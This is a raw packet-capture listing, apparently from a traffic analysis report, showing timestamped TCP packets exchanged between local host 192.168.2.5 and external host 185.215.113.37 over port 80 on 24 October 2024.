Oct 24, 2024 04:57:20.639183044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639205933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639215946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639241934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639251947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639276028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639308929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639372110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639385939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639386892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639405966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639414072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639441013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639455080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639477015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639486074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639511108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639520884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639544964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639554977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639580011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639586926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639612913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639621019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639647961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639656067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639681101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639691114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.639801979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639818907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639837027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639853954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639874935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.639955044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.754936934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755007982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755065918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755120039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755172968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755209923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755271912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755270004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755270004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755270004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755348921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755403042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755438089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755470037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755481958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755481958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755481958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755518913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755518913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755522966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755558014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755610943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755664110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755714893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755728006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755728006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755728006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755728006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755753040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755764008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755784035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755803108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755830050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755831957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755883932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755884886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755919933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755940914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.755954981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.755980968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756006956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756011009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756064892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756066084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756098986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756119967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756134033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756154060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756169081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756196022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756203890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756218910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756237984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756259918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756283045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756283998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756337881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756341934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756373882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756388903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756426096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756428957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756479979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756480932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756515026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756531954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756553888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756576061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756588936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756609917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756623983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756654978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756659031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756679058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756715059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756719112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756768942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756814957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756814957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756824017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756859064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756869078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756895065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756906033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756925106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756942987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.756958961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.756995916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757009983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757009983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757044077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757052898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757107973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757117033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757142067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757158995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757177114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757194996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757211924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757235050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757246971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757258892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757297039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757303953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757340908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757356882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757375956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757400036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757410049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757422924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757462025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757462025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757497072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757514954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757530928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757555008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757567883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757580042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757611036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757621050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757646084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757662058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757679939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757700920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757714987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757730007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757762909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757766962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757818937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757819891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757853985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757872105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757909060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757910013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757942915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757961035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.757981062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.757997990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758018017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758033991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758054972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758073092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758088112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758100986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758122921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758152008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758157015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758174896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758194923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758204937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758235931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758240938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758270979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758287907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758305073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758327961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758339882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758351088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758373022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758394957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758408070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758418083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758441925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758457899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758477926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758495092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758507013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758523941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758539915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758560896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758574963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758584976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758611917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758625031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758646965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758662939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758681059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758696079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758714914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758734941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758749008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758765936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758783102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758788109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758816957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758835077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758852005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758868933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758888006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758908033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758923054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758950949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758955956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.758970022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.758992910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.759013891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.759021997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.759036064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.759056091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.759076118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.759090900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.759099960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.759124994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.759136915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.759177923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874075890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874115944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874172926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874222994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874234915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874234915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874234915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874253988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874315977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874334097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874334097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874370098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874376059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874406099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874444962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874459982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874466896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874514103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874526024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874543905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874574900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874593973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874598980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874638081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874666929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874721050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874758959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874790907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874825954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874862909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874880075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874880075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874880075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874880075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874880075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874881029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874881029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874917030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874952078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.874975920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874975920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.874993086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875008106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875027895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875056028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875075102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875087023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875142097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875200033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875227928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875283003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875368118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875377893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875379086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875379086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875379086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875379086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875401974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875436068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875458002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875458002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875471115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875485897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875505924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875526905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875539064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875571966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875579119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875602007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875613928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875644922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875649929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875663996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875701904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875704050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875736952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875758886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875771999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875801086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875806093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875825882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875858068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875864029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875912905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.875941992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.875998020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.876003027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.876049995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.876050949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.876085043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.876110077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.876120090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.876135111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:20.876154900 CEST	80	49704	185.215.113.37	192.168.2.5
